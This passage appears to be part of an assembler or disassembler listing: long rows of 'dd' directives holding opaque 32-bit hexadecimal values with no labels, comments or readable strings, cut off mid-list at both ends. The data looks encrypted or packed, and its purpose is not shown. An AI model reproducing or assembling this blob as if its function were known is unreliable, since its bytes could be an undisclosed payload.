0EE185047h, 40B6F20Bh, 4BE7C057h, 5E90FA08h, 4C28B3F7h dd 0B81885FAh, 2EE2515h, 0CCEBCDFDh, 3398A6E6h, 81507B4Ch dd 7FBA239Dh, 685AE13Ah, 840F0F0Ah, 78455331h, 0C1D83E24h dd 0C1690061h, 2047C742h, 3E7B969Fh, 38EF504Ch, 7750230h dd 0DC56E959h, 0E3678112h, 3E09254Dh, 59D00CC8h, 0EE241E65h dd 4EA12625h, 0B163939Fh, 53E8C04Ch, 8920B32Dh, 0DA7500BCh dd 7D5BD828h, 1E526059h, 0B2B551C4h, 80C5FE1Ch, 82F6D689h dd 59F78773h, 845A9209h, 42ACAB3Dh, 0A44EE8E5h, 418F9000h dd 2DE903ABh, 7466A8E8h, 6830507Ah, 0B753309Ah, 3EB6B0E5h dd 74273DC5h, 4477B209h, 9858FAC1h, 0B5DE20F2h, 81D4C160h dd 3FC7B4EBh, 0F513A118h, 2003C91Bh, 320BCD14h, 0B2928FAh dd 0A0C3F64Fh, 2EF6940Bh, 14FDC92Dh, 85F254E9h, 2482B764h dd 7209D034h, 159D205Ch, 0D14E1AB2h, 61306EB0h, 0F3EB0ADEh dd 0CB29F413h, 30C310C8h, 69DDE975h, 0EEC13CC2h, 0D7038906h dd 11B011A3h, 0C1F56B3h, 2ED696E7h, 8C0604FEh, 0DE7EEBDh dd 256B3811h, 98457FE5h, 59BB5380h, 0C20F525Ch, 0B70F69Ch dd 0A0A43AC0h, 0C326DBB2h, 0B7425958h, 0DED80B61h, 5FEF6848h dd 0F6B3E332h, 0E87C2755h, 42AF358h, 4B37F85Eh, 8A06B855h dd 0C30BE45Bh, 0F276B3D2h, 39E088Ah, 799F30BFh, 4DC90C04h dd 0A8BA04F1h, 0A00841A3h, 0D6C2140Ch, 0C80E2949h, 252A5A42h dd 43F66E7Ah, 6930D927h, 0C75F392Bh, 0B5B2D34h, 3190554Bh dd 2828EBB4h, 5EFA15E3h, 6ADF51BAh, 9060C880h, 0D0C30131h dd 125E0894h, 0D043EA04h, 135A2EE9h, 0EE04EF93h, 95628D2Dh dd 0F862F617h, 0B47DE94h, 5A05FC3Dh, 8615A4BAh, 5198A905h dd 0C900AE9h, 975BFC88h, 0E91C0A96h, 0FF2526E1h, 4382EC3Eh dd 0A1165456h, 6A61854h, 146A3B2Ah, 186F0BD6h, 627547E7h dd 5D08076Eh, 17A2839Ah, 9BA57BFFh, 14D40E68h, 97A8DF12h dd 0ECBD74D8h, 5854170Bh, 2DCDF908h, 0D72713D4h, 8FD7200Bh dd 59EF411Ah, 913B5866h, 47E2D3Ch, 0ED0F40FEh, 0D185F85h dd 0C4A6876h, 0AC2EEBCDh, 0CD29077Dh, 905B6EE9h, 1741EF08h dd 0EF10F67Bh, 0C9EE7B24h, 3A09E949h, 0B7BF9C12h, 4BB9C4E3h dd 0FCA815D4h, 5B8968CBh, 0A28C2071h, 4C2C525Ah, 0E97BE364h dd 70E60A60h, 8D3AE1A9h, 0CF75EC1Fh, 94B7C8B5h, 3165B73Bh dd 56A8A7BEh, 0DD5E2D75h, 5F1134C2h, 9E900916h, 2E48EE3Ah dd 802720Ch, 0D742E8FFh, 0A0D512E2h, 3B47F627h, 797AC44Fh dd 0C47BFC6Bh, 0D414E128h, 0AC966758h, 1D36B395h, 0CCD9210Dh dd 0EE378FB4h, 0C203D60Ch, 124BC814h, 0EA30D737h, 68081450h dd 0B8A5141Ch, 18A4B98Dh, 280B372Eh, 0CE25605Dh, 4308552Ah dd 0C1002608h, 6B0ADC68h, 4A50C2F6h, 0BD82B533h, 7DD1C731h dd 4912FC49h, 0A28A44DCh, 1E40441Fh, 97370301h, 59A1AFEh dd 0BE810310h, 0C6F50263h, 21333BEAh, 0E6061150h, 1D3137C5h dd 70E97C10h, 945797A1h, 0B6FFFC43h, 33B901A8h, 0E978B148h dd 1454DA8Ah, 0B2D0D664h, 0F05EF201h, 53955D52h, 58470C15h dd 19B45007h, 0D114CD66h, 0F4732053h, 0B45F5480h, 36577A94h dd 0BAE913D7h, 5090F760h, 13B68CEAh, 2BA93501h, 1F207539h dd 0C1EBC983h, 0A1FD8C89h, 0DB21B284h, 0A57E2DE1h, 1743D49Ch dd 0DC012725h, 350720DFh, 0AEEF4EE9h, 53E4815Ch, 815FF210h dd 0AAB4C0h, 12614EBAh, 0EA09629Ch, 0DAB91897h, 1360E88Dh dd 0FE077A74h, 0E9FEEF80h, 41344F3Ch, 417CAB67h, 0D8C4EC08h dd 0F02836C4h, 2E9DBEA2h, 2CD80EF2h, 0E9B8849Eh, 0BA52D529h dd 0B5AEFCC5h, 74C06A71h, 50883DF4h, 99DD94E3h, 3BE71E3Ah dd 0ECA8F82Dh, 62A127D0h, 6DA6685Dh, 404327BCh, 2CE8BDB3h dd 34E5A09h, 8F5871C6h, 401FC85Ch, 0EC15D08h, 8A16827h dd 888502Eh, 6A7CE90Bh, 0E68C7056h, 12E82E02h, 96E94C2h dd 2278F049h, 0D1295E2Fh, 580B6A30h, 5219F105h, 2D325756h dd 34C00747h, 0FC211859h, 9480BBEh, 6DE030EFh, 405FE668h dd 20E9B998h, 0BF0420A6h, 0E4BE7837h, 36951880h, 0E3094C86h dd 7029AD04h, 418EFD57h, 141CA008h, 129D5D58h, 5CD05584h dd 4BA95B3Ah, 9F10BE68h, 39B15F08h, 7CB006FCh, 0F8E44B54h dd 88520E2Dh, 4BD14FC2h, 5D3D8D9h, 63B82B8h, 0B49860Eh dd 7DA50BB7h, 312D4E16h, 0C6685CF1h, 0C1057CF7h, 0FAC87698h dd 5C78482h, 5A78E601h, 4099A398h, 0D30FB9CFh, 454A1475h dd 0F4D7355Bh, 0E23BEE6Dh, 590B652Bh, 0CAEB85BFh, 1A6809E8h dd 6099746Eh, 7EB55726h, 0C90693B0h, 58285BB9h, 0C0E912AEh dd 8975AC5Dh, 6806E09Ch, 0F4639282h, 0BF59920Fh, 0BDA6602h dd 7537B202h, 93317904h, 0E060F7CFh, 79A1C164h, 13617D7h dd 0E390EECBh, 2D2129BBh, 0EF0734A3h, 9239D83Bh, 0E001CF01h dd 71492F43h, 0FF2CADF9h, 4B2B000h, 2CD028A0h, 0D4313EE9h dd 0FC6EC0FEh, 80B8A193h, 544C6978h, 81633058h, 0BAD940BEh dd 42D4313Ah, 8E400353h, 0D9302D85h, 19180C34h, 0F91C50D5h dd 587136Ah, 4116EA39h, 68F968EBh, 0D40E52Eh, 0D75833C2h dd 9AB64E66h, 5C65ED62h, 0BC059F2Fh, 3F389B87h, 0E5370A3h dd 292524E0h, 0C2E9F4C8h, 8D807532h, 1069E381h, 0E9133F06h dd 964CD4C3h, 0BB5B398Dh, 41289322h, 6BD8AE3h, 814AF498h dd 119CD5B0h, 87E264EAh, 2FA2D0EEh, 5B9A1FBAh, 4202595Fh dd 965D409Fh, 9D2392C8h, 0E905F745h, 24BB1574h, 0EDA50068h dd 29CC69E5h, 0AEE9F50Dh, 49D8A360h, 18B5266Dh, 905F126Bh dd 6B487567h, 0EF894E14h, 688E27A0h, 4EB1A95Fh, 5B53CEDEh dd 4CE9B188h, 0C5801E47h, 45053848h, 25575E95h, 8CE5457Dh dd 9C3CFE5Ch, 55A5E916h, 407BC944h, 0A28634BAh, 9ED0D3E7h dd 16C3299Dh, 0AC7C0171h, 460CD0AFh, 44924A99h, 5A095D95h dd 0EB497B77h, 0BE053485h, 80832E68h, 464CAAE9h, 209D2F4h dd 94F25B14h, 81B5A0DFh, 291EB1h, 274AD8B8h, 0AF786A31h dd 6FE19570h, 0EB2E3BCh, 0EA8097A1h, 0E8D4C12Eh, 0F2A8C076h dd 691267C3h, 0E7DA3631h, 0A913D18h, 555E5F5Bh, 0ACB565EAh dd 0E9BAF40Ah, 78AE9787h, 3EF9E932h, 1F35EB84h, 83544808h dd 96252DF6h, 0BDC63A00h, 0E93BD233h, 23F86040h, 322876CBh dd 0E6A8ECF3h, 685C16C2h, 64B2AFCAh, 0C1059434h, 7F22BCEBh dd 17309C7Bh, 0A4C5CC02h, 5C4F300Bh, 1C37640Ch, 0EA89BE1Fh dd 0C3E152DAh, 150B58B4h, 122BF47Dh, 0FA096491h, 39ABCF05h dd 8C3D67A3h, 0E943AE03h, 1A0E2D8Eh, 65EBCA80h, 0C6AE96F2h dd 5748AAC4h, 37C820B4h, 30D2EF83h, 502528DBh, 4209F7ECh dd 2C9E39h, 0E2058A2Ch, 7601586Ah, 12E23F2Dh, 0D55288D4h dd 96D2FB94h, 5066F801h, 9C4077D5h, 4BEA59E7h, 0B237FE3Eh dd 0B40C41CEh, 1280DD89h, 0D69E7F5h, 0BF015734h, 156D2B33h dd 5CD03D05h, 0F801144Ch, 5F3C072Dh, 1450E83Ch, 1CF02DE9h dd 0CFA38049h, 0FCDA1AEBh, 0CAD80AD8h, 6268ABDAh, 65B31AC0h dd 956E7DDh, 27D4423Eh, 76BDE253h, 6B5725F3h, 33FDD060h dd 50474FB1h, 497D088Fh, 7D48F071h, 0F0715E2Fh, 0FD504AE9h dd 41514469h, 1FD77D5h, 81DCF829h, 6414BD70h, 0AE5841E1h dd 1CBB0094h, 0C7B3D59h dd 970B292Ch, 0BF7DAF5Ch, 7F292450h, 0E93808B9h, 50071651h dd 0D1126CB8h, 0EF5C5D0Ah, 2CEAE707h, 4FE92D73h, 0B5BCF414h dd 144A2679h, 8D810FAh, 3575E16h, 2002BF11h, 7234C1D4h dd 2EB298Dh, 0D481D2Eh, 6853E04Bh, 4B47557Ah, 37000447h dd 0BBD6E07h, 84B0ABD7h, 0D4310BDFh, 0E8742772h, 0FDED810Bh dd 76AF3767h, 7A4869FBh, 495B4E68h, 277A8AB6h, 1A1863B1h dd 70FB198Fh, 7509C119h, 57E3ABE6h, 0C65D5160h, 8CC2FFC0h dd 0B5FD201Ah, 0F9630203h, 71CA1B1Fh, 0E131F09h, 0AD14C2E5h dd 12465629h, 40AD0A31h, 4770A7EDh, 20EBEC95h, 502866Eh dd 71886069h, 691D5C5Bh, 0ABACE05Fh, 825D81EBh, 0B51E4566h dd 46EA7728h, 80E90802h, 0D09320F5h, 5E43B305h, 0DFF0C08Ch dd 7958F662h, 18B57702h, 287DE617h, 62B1233Fh, 0EA010DE2h dd 326D0CC1h, 588CCBB4h, 0B9510248h, 3B9244CFh, 896D89F7h dd 27DC6584h, 42400376h, 95CEA4BCh, 0B0E719E0h, 0A7945597h dd 3F6B1D22h, 0F81DF7E6h, 68DE032Ch, 851067EAh, 5A386990h dd 0DB16C33Ch, 332BE411h, 2E80F440h, 6AC61EFh, 10CF282Dh dd 0B0D168EBh, 5851302Ch, 0E8280DB5h, 0BFBF5EFDh, 0A2E28B31h dd 0CF3EB525h, 70AF4B97h, 8135E9A2h, 2D96E6BFh, 10DDF0E6h dd 9578639Bh, 4F7B147Ch, 0BE009045h, 5A0123AFh, 5EF1091Fh dd 8330D9F7h, 3D471481h, 2A05C77Eh, 0FE4D1E2Bh, 5E60F791h dd 0C1C38C3Ah, 6C306BEBh, 2FAD35CFh, 0A14E3168h, 3394E079h dd 835B81E9h, 917F01C7h, 8A48A2E0h, 0E60DE90Ah, 5BACBA83h dd 0E2B0873Eh, 48872211h, 0D4005234h, 0E9522D54h, 0A2B59B36h dd 0DF879203h, 0FCFCA6E1h, 564C6C1Fh, 0D85EC97Bh, 12D65BFDh dd 82E2BEFAh, 61C3CB9Fh, 6D3AAC4h, 744852CAh, 0B101400Eh dd 1081B900h, 31247E66h, 882AC2C1h, 53565F0Eh, 0AE07C268h dd 0B0E3DD58h, 6457E9B0h, 5AD22C0h, 58836665h, 0F2F0B68h dd 204FACA1h, 0D682E8FEh, 0FA6796BFh, 61829F26h, 0F15D0868h dd 7FDC200Fh, 3EA0099Fh, 14FD0CE9h, 2ED7955Eh, 7E624BD2h dd 126D6050h, 0F6FA0658h, 5EE3034Eh, 651D9B94h, 0C94ADBFh dd 61ECB1A0h, 0E9758904h, 40AF670Ah, 5B1ED00h, 0E6BD2827h dd 4ECE83E2h, 0E59DE822h, 0ACD312BEh, 9ECD1839h, 16BFE363h dd 0B11A04Eh, 5E887C22h, 0D4950988h, 75F21AFFh, 0A290D93Ah dd 7582CD8Ah, 583E76C0h, 2D4DD158h, 0E00C106Ah, 5301B6Dh dd 12047E45h, 70B9100Dh, 9CC02D84h, 2EE94428h, 40F4DAD2h dd 191430EBh, 97C094B1h, 0C157E81Fh, 7F369FFCh, 7D56855Eh dd 901DF249h, 0F90D49A4h, 0F42BD6EFh, 0E9EC01E2h, 0DBBA1135h dd 7017090Bh, 23E49D83h, 6628C32Dh, 0E1587ACBh, 0E948C568h dd 7BA5B77h, 0E35A5BD0h, 1C2F7467h, 0E7807D43h, 17BC5525h dd 0E49B0CC1h, 0EA87E114h, 295D4EA2h, 0A89E15FEh, 10563D0Ch dd 0E507A305h, 1BE91405h, 7653E949h, 0BEE4C53Ch, 8B0ABFA2h dd 58955B0Bh, 0E84D64E9h, 0D9C82769h, 7AB18906h, 18C1131Bh dd 45C70468h, 65E21181h, 5604FB3Ah, 17127F9Ch, 4CEC8F2h dd 2E950780h, 0ACB0707Eh, 2975A502h, 14415D08h, 0DFE9D801h dd 4E2C794Dh, 0F09F8EDh, 89D50525h, 0D6B07D8h, 65FDF38Bh dd 0ADA4AB66h, 0DE4E4C93h, 2051ECD2h, 0F659847h, 7EF96B26h dd 5478C56Bh, 0C4F85D5Ah, 9ACC7A9h, 6EDFE066h, 0EB2D8051h dd 6691412h, 4BD01FAAh, 175F7745h, 4DE90BF0h, 504E53F8h dd 0E23867EBh, 0C67F6316h, 3542049h, 26685C14h, 0A9F184F7h dd 0F1C1BA16h, 0E82FE503h, 0A62DB0B9h, 6AEB1D06h, 0F97E0B05h dd 7052A6Ah, 42E9C052h, 3E012428h, 1590CF81h, 0C940162Fh dd 4EEA1A43h, 836CC063h, 9990FFC2h, 3FE12F70h, 929FC5E2h dd 2930FFD0h, 273D88B8h, 49777305h, 0C7E00316h, 268C6FFAh dd 760BBF92h, 90FFE659h, 3853091Eh, 15D974DCh, 0C01BCE03h dd 3BF2B00Ah, 649616D7h, 0E1D6F801h, 461BAh, 693DBEC7h dd 0FD48014Fh, 0C8DA1677h, 4E40BBCh, 10830FBh, 0B531A768h dd 11E7D5EEh, 4F12CEACh, 5EC9E5D1h, 5DEB8651h, 0D640EF59h dd 300F5F48h, 8C924508h, 314D97C8h, 52362F41h, 3AD59797h dd 2CC6851Ah, 2AE0988Dh, 37459FA1h, 160ACA80h, 5C86E90Bh dd 0C181F9F6h, 7E7AAD76h, 93EA7B0h, 0CD893ABAh, 83581616h dd 0A04D301Dh, 0BC83D72h, 3142E94Ch, 0D131D6F2h, 9F2C5898h dd 45E3873Eh, 6FA88166h, 0F3C26A28h, 2E4D771Ch, 3278722Dh dd 0A0A64DB4h, 590A9EC6h, 141C0768h, 0E95B5487h, 44982C6h dd 3D6EA3E2h, 3100872Eh, 3EA020C3h, 6A01B116h, 40D211EAh dd 124CD46Eh, 407B1308h, 1C396889h, 0B5F433E5h, 0E4E34E4Ah dd 4CDD2A10h, 0C14110DCh, 17452D02h, 62574380h, 68070116h dd 376F38A8h, 1C2D113Ch, 4C8D2B30h, 0E95E1A82h, 924C5A66h dd 76C812Eh, 3D0108C8h, 0FF5B4D1Eh, 0F1683B84h, 84DBAE0Dh dd 14FFBA69h, 2956BF18h, 0BE0C732Dh, 246EA097h, 446ACD4h dd 3E8B09E3h, 95166DBDh, 9833BE06h, 5A8F04D0h, 0EE6AC968h dd 0EFD7DACEh, 35209197h, 0EE516450h, 615C27E9h, 628BCEF3h dd 9473DCFEh, 5F24FE3Ch, 30210A9h, 0C71E792Dh, 0DD83D218h dd 0D7A7F67Bh, 0CD965396h, 87270BC8h, 5E97E160h, 0FDEF0112h dd 0ADE86F79h, 0D844B482h, 0EE5C570Dh, 1A3E6302h, 18DDF28h dd 8F7D3006h, 0A461D703h, 0EA7DE9h, 9C6EBA3h, 56584666h dd 31ED6097h, 29808234h, 609B2D59h, 8E78733Ah, 5FE93DF9h dd 705F04Ah, 0F811D13Ah, 9B96799Ah, 8B4D3288h, 657F01EBh dd 6EF9A5E5h, 0E8B3208h, 44426851h, 9EDD3E33h, 0D5D397EAh dd 0E1C109h, 37F2C952h, 0BC725A42h, 785DB174h, 9AC4BF00h dd 7B74CA66h, 0FAC59FEBh, 8167D69h, 27E84CBDh, 4C714AA3h dd 49E0C42h, 4A14A95Dh, 81F477E8h, 35D1F8D1h, 31C0D29Dh dd 0B81F42F9h, 39350963h, 8D95E081h, 7EC56B82h, 7E60DC0Ch dd 48D38518h, 57E645Ch, 16B309Ah, 9CE96180h, 0A0EBB2B3h dd 2E517779h, 2F9628Fh, 32B12199h, 0C32EA0D5h, 694908C7h dd 0E0821271h, 1AD70C4Bh, 23148279h, 45B9055Dh, 0A84F4A77h dd 9EE3E74Bh, 0E3FA851Ah, 812D7BBCh, 65327D5Dh, 0F94204D4h dd 81687249h, 0A27E55F7h, 45EC93Bh, 0E9420209h, 0A7FFED13h dd 77094AA3h, 60A76345h, 0B5887003h, 7F9684F9h, 0EF814D40h dd 16F91C57h, 1CF0130h, 96623E91h, 19BC4126h, 7A0ADDBAh dd 0FE4BD7EDh, 680BCB2Bh, 18464CDDh, 7253AC97h, 0AC6B10CDh dd 53E91E3Fh, 349E72A5h, 0C00C4352h, 0F36CBC99h, 8BCBEDA0h dd 39FA0C5Ah, 0CC618236h, 40512209h, 2D4DC791h, 835F7B0Eh dd 0C8EDE1ABh, 20E90A89h, 0DD957515h, 68A0E693h, 36964DD4h dd 0ABF84E44h, 0B8D54B73h, 48990FEh, 7CBB9B71h, 0B0AE5FC4h dd 0D4FE9E6h, 0F3F14912h, 9DA65E30h, 175C9868h, 0A20985ACh dd 0FE4A601Ch, 155A2513h, 538E4E96h, 5D0C297Dh, 0C810BCCh dd 0CA666058h, 8CFEE054h, 2FB8604Bh, 766FEFE0h, 0F83D7025h dd 1D286E77h, 0AA48C1A4h, 89C2ACECh, 897F5BDFh, 0FC657CBh dd 0FB5AD027h, 9677A9D1h, 78E7B103h, 680DD81Eh, 973070BEh dd 7A58A674h, 4CAB2F2Bh, 4080D28h, 0EF777668h, 90E749CCh dd 41BC09E4h, 0C5845CF9h, 2E79CD0Eh, 6C8F2DEEh, 4837A25Bh dd 9780578h, 481EF56Ch, 0E00ED156h, 2D64D802h, 0A8672FB6h dd 0D2277AFEh, 2560E759h dd 874BD00Dh, 966F041Eh, 3833ED3Eh, 0EBF42C59h, 60A26813h dd 13A10503h, 11A84738h, 295BAD46h, 740D2BCh, 12BF5157h dd 963EA82Fh, 417F6FBCh, 18B8605Ch, 3AC42A24h, 27C1EA00h dd 66E9CE62h, 4A5895BFh, 9559970Bh, 33EAF737h, 0EA8F8138h dd 7080FF82h, 35C950A3h, 80BF464Bh, 1B57B269h, 64A7E54Eh dd 8592E913h, 27C0FAABh, 0C20EF580h, 872C7F06h, 483A017Ch dd 0C0FAB5D1h, 806DB642h, 47ABC627h, 0AF52123Ah, 92B49305h dd 80A5C3BEh, 0F455A09Ah, 0FE070648h, 361042C6h, 68B0F588h dd 0B09D2284h, 1B57810h, 0B2C580DFh, 0C0A6B753h, 283D5BFDh dd 4FEDBCE5h, 3DB108ECh, 0FDB7343Ch, 9B580EEh, 99756CE6h dd 471F0AB5h, 90AA8F7h, 50C3315Dh, 0D75E4809h, 0C55E37E2h dd 2ED98999h, 628CD1B0h, 877D4082h, 4FC93D1Dh, 0E9196796h dd 40D6DE66h, 0DD2D9782h, 0FB72776Ah, 0A1C21E5Fh, 0AB317731h dd 0E2FAF953h, 0DF743B77h, 0B2E79176h, 1BFE9F34h, 5746AF0Bh dd 84972BC6h, 0F300273Eh, 386203A5h, 33696818h, 9D6435D5h dd 7BE07FC9h, 0B0126BF6h, 0A052C0FDh, 624B5CE9h, 22A76B90h dd 8340B7E3h, 31395F24h, 5E005F3Ch, 1539F4CDh, 890B479h dd 0C62414E3h, 0C87BC101h, 0ECF3AF13h, 1FEBE94h, 0FC71C423h dd 0CDC47045h, 96F03013h, 0A9686542h, 60137474h, 62C7507Dh dd 0E99A5950h, 49EEE15Bh, 53524A87h, 0EA8384B7h, 628491A8h dd 0E20112F2h, 6EA42DCAh, 6BF5C72Bh, 0FE55F64Ah, 799F0296h dd 2F7AAB8Eh, 0C6FF7776h, 0B19F3C7Fh, 0C67525FDh, 122E5A9Bh dd 0D179EA83h, 0E6B2EC02h, 0F0211939h, 0AD0CA05Eh, 19DF7E8h dd 0D4AFF926h, 33B1D340h, 0E5313E80h, 810478AFh, 68689FF5h dd 5C957CFEh, 30502756h, 0B2809D20h, 6050796Eh, 3ABBB50Ah dd 0E7A04871h, 0F2DD2E3h, 0BF1F0C2h, 3151A455h, 0F3E06909h dd 85B2B439h, 8C961EF6h, 0BFCC5FC9h, 137BE916h, 0C818E2F9h dd 24763BD1h, 0D2EE9A97h, 0FA5F5FDCh, 63A2E824h, 97CE542Fh dd 0C13B405h, 0E0BB491Ch, 6419F139h, 74F88276h, 0F6E8137Eh dd 1D90DEBFh, 0E5C74B7Ch, 3BF261E0h, 5AEC22BEh, 726AA5DDh dd 0AA4ABEF8h, 40613CD8h, 0AE4C2CF8h, 0C05804D8h, 7AC702EDh dd 0D3F02825h, 31534046h, 0D0B55DF0h, 585BA6EBh, 272CC605h dd 0BCE90612h, 4F9416A0h, 7E44A5EFh, 35623489h, 83685B07h dd 0CB120E09h, 56B044E5h, 4AD83D02h, 0DD5CCCE9h, 0FB17AFA4h dd 9C0CFB64h, 0BBA1421h, 483F498Fh, 31168701h, 38F12BB6h dd 2C9BE17Bh, 1A05B717h, 0A4EFC2FEh, 660499FCh, 9F82B252h dd 160277D3h, 0BE006BE7h, 48CBA526h, 14058951h, 0A940F612h dd 6B0841C5h, 9DCF5238h, 0BE972C8Fh, 57EF5B20h, 0F57D4F6Ch dd 1C080622h, 6166BD0Bh, 0CCC30608h, 0B4625EA4h, 4318BADEh dd 95864EAEh, 0C982EDFh, 0A898927h, 0A23F3553h, 5DEA0B43h dd 4B823958h, 30DD4529h, 803ED293h, 7A1E35BBh, 438767D4h dd 5A1BFF44h, 2D0A7858h, 0FDD45FCCh, 0A9EF77Ah, 33536870h dd 59E913F6h, 863F37BBh, 93906BABh, 2645809h, 0D4380B61h dd 99C83112h, 485E02B1h, 3BA526Eh, 497E5D2Eh, 0E21BEA83h dd 0B0132BF2h, 7F34F4EDh, 0A37AB7A6h, 3E5A0881h, 0D3C0F2ADh dd 616850E0h, 0F1BD7870h, 3F984D54h, 0A26A90A5h, 4F4B4CD2h dd 8373A3E9h, 0E5C15DDAh, 505A00A5h, 28DC7288h, 25B33867h dd 7D715C59h, 96FD825h, 0AF04162Dh, 0F69B3502h, 5C02A208h dd 614B627Ch, 96930741h, 4511C8B8h, 0F6971E70h, 3B5C51DDh dd 821F24EFh, 57096D66h, 5C9F21D0h, 0E67027BEh, 0EAF65295h dd 7CA7FBFDh, 2004CDE1h, 2C74F808h, 9B7A1FCh, 0F1315C84h dd 685C0087h, 8C1F5F51h, 2A41E8E7h, 13FB75F5h, 0B85D3C0Bh dd 50A1C590h, 30B561ABh, 2C643F42h, 3A1407D6h, 0E79ED7F6h dd 40EF0FE4h, 3A97DA9h, 0E3209B6Eh, 68521371h, 158CFF8Eh dd 482375A0h, 0CB01C815h, 2E490F40h, 23C0C643h, 91218F7h dd 278A532Ch, 0BE1CD958h, 3BDD275Eh, 0E9D4EABBh, 7B385CA2h dd 0BC79F4A7h, 9D5D266Fh, 27776608h, 1B09575Bh, 21EE779h dd 0DBE95750h, 7BD7C989h, 75AF2A08h, 173B931h, 965AFDC1h dd 0FE506A65h, 0D3E64A08h, 4102C114h, 464B26C6h, 0F717B805h dd 0F7A8DEFAh, 5CBCD25Ah, 35058350h, 48A15FCh, 3F1982BAh dd 0EA318BA2h, 37A8EE1h, 0D5E9EF56h, 4D2DEF72h, 2FA76752h dd 7B752C09h, 417A881Bh, 7FECD430h, 70D76EAh, 76638AE1h dd 91C9C728h, 8F4E4D6Ah, 0A0B7EE24h, 0E9CB0901h, 8161D460h dd 54CF3607h, 0E7F9E406h, 86D12064h, 14249784h, 26B9A8B6h dd 0B202064Bh, 5753C963h, 3F802F56h, 89C1E63Ah, 67E912DAh dd 1233F387h, 22A7A6A9h, 1E6A2F7Bh, 28DABA3Bh, 0F32209FFh dd 332D4251h, 10266801h, 0D2A81E6Ah, 0FEE3E0C5h, 0CB80C301h dd 6EBC057h, 0E220E3D9h, 0E118700Dh, 7B27A36Fh, 0E6B7ED98h dd 0E8965B8Eh, 20FFD389h, 7969688Ch, 0E9164D04h, 23AA4888h dd 0A7A2ED51h, 0FDC1A141h, 89D3EC13h, 38E9CE12h, 88FFC385h dd 0BDEC556Ah, 0F46B7F3Fh, 0F0BD19BAh, 0B1681757h, 7DE8B476h dd 0DA825F82h, 457D0357h, 0D0CF3B28h, 330DEE3Bh, 16C07D44h dd 0F52B4453h, 1C08060Bh, 49F0148Bh, 516F0A43h, 8A5A620Ch dd 14CF8777h, 5228740h, 63E004Fh, 39C22560h, 0ECEA355Ch dd 0BF13C13h, 6A2D08C0h, 0D51F2EBDh, 50D010B5h, 0BF4153CEh dd 409F0630h, 0D5F6BEF9h, 85A01350h, 5D1962BDh, 6584A7Ch dd 0A232D640h, 0EBFCB28h, 7D62C9E2h, 26597D46h, 0CD800BA8h dd 0B6E387B9h, 1237E4B3h, 0E84EC317h, 9D84708Fh, 250F96F7h dd 0E1D549E9h, 0ED2AC474h, 0A7BBB43Fh, 7733501Fh, 2566E97h dd 8C720EBFh, 7E7D3122h, 0B359440h, 0D2305E2Dh, 0B80629A8h dd 7B44681Dh, 0DB612DE3h, 0B54344F1h, 6816023Fh, 4FB273C7h dd 0D0AD9865h, 5E542D95h, 0DF274067h, 0EEEC8496h, 0E96FD4B5h dd 0D15579C2h, 307D5ACFh, 9570C305h, 11201DC7h, 0CD881437h dd 2DEF6144h, 59C34390h, 5B4336B8h, 2C002D70h, 0B4050EBCh dd 3E1E5508h, 751D801h, 41A01240h, 0E97D0844h, 923A804Bh dd 31503ED5h, 23387D8Eh, 32BA5F50h, 0B1DE9A86h, 64BE5A17h dd 5BB3BBC8h, 35A6801h, 0E1E90905h, 28752463h, 270182F0h dd 7CBCE681h, 0F42B2630h, 0FFEAD47Eh, 3E097797h, 9E9F69DFh dd 0A3DAD7CAh, 272D5279h, 441EDFCDh, 0E92B5D63h, 0A2EB94DCh dd 8005C98Ah, 17A38C5h, 72D50C8h, 0FF874E59h, 9A1336CAh dd 1F2DAB06h, 8802B8D5h, 1A08E956h, 8020F3h, 3ABE187Ch dd 1BF7815Fh, 0C8F7112h, 0A26EC0E1h, 34175867h, 0C8BFA916h dd 690F412Dh, 37871297h, 74C06012h, 167FCBDh, 0EB896010h dd 2DD8315Dh, 7E518BE0h, 3515023Fh, 0ACFC032Eh, 2665C308h dd 84780147h, 0A5898BAFh, 945603Ch, 4E92FDFh, 0DA8BCC8Eh dd 0ECE9E2D8h, 3E92ADB5h, 6626FD27h, 1534E9Fh, 0A4565A41h dd 401B281Fh, 0CF798907h, 5A7F38E7h, 0BAE55CFDh, 823B3167h dd 0F6EB2216h, 825A01h, 0BE003F69h, 4AF0A454h, 29E0B03Bh dd 82428997h, 90AB131h, 0E9FB09DDh, 5E2F16Fh, 0FAE13459h dd 93922A61h, 6F0FF188h, 2A127D26h, 0BF4BA6B2h, 0FD6D1A39h dd 23D3310h, 0E287C2BAh, 84E35550h, 9C57C9A7h, 6AAAFC38h dd 30F61CCAh, 2CFEBD27h, 2D58C400h, 713C545Bh, 5E82829h dd 0D64BD07h, 0C000FD41h dd 307D1BF3h, 0F40C3290h, 9415CDF6h, 94A2D931h, 0CFEB28B7h dd 285238E5h, 0E92408C6h, 0AFA8F044h, 0E82DC098h, 5B6BD84Eh dd 0E266AE02h, 3AD99F84h, 77ED8158h, 0E178263Ch, 52EE1292h dd 4A61AEF3h, 5F030B43h, 0CCD5BCB2h, 42EC2018h, 53793092h dd 14C2D64Eh, 5A165C5Ah, 0EEB1C602h, 68415EF4h, 0CC3B7E39h dd 2C25E90Ah, 0B7DF15Ch, 0CF103F16h, 67B77A3Eh, 7693BF44h dd 61EABD99h, 34D0684Ch, 4B28A3Ah, 36756C1Ah, 702ECA80h dd 1DF79E01h, 0DC1C793h, 0B527549h, 0E1D7D7BBh, 9F7A0C1Fh dd 41A85E8Ch, 1774DD90h, 0B06E10CFh, 79440B02h, 0A5F2B7C1h dd 3CFF5E5Eh, 0BE503139h, 99162718h, 2AB1BBFDh, 578ED6Bh dd 1ACA02D0h, 7F54E301h, 7A802F14h, 8B875F4h, 154B84E9h dd 36D57E44h, 43684F01h, 0C0E17C4Ah, 5B380676h, 49E100D1h dd 1E17BA52h, 0F8957A9Dh, 54010CF1h, 0A90C7687h, 0C065A12h dd 0E1F0BD87h, 7F684410h, 6CF10F75h, 1E40746h, 2A7DF8CFh dd 0B4B0C143h, 4A8D2A59h, 0F40085ECh, 35097E6Fh, 0B9276B1Ah dd 193DF4DDh, 2BBE2C5Eh, 8DAA9E13h, 8B742E94h, 0D51606A6h dd 8839385Ah, 4E683F40h, 0EAF63Dh, 216D144Ch, 9003EBC1h dd 7AC50A02h, 3FBD77BFh, 33AF0689h, 0A19BEB5Dh, 0A63BD451h dd 1C0F178Bh, 9A9E3D8Ch, 0A9E92F72h, 4269A0F5h, 7C2C8C75h dd 4F9C9087h, 598C8F25h, 0A76748EEh, 582BE9C2h, 0AD5850C8h dd 90FDFE7h, 0FB773AC5h, 24B92BB2h, 6422FA8h, 1947F455h dd 605533ACh, 35E6638Ah, 0DA24397Ch, 0BCA2DFB3h, 785A0CF2h dd 82531622h, 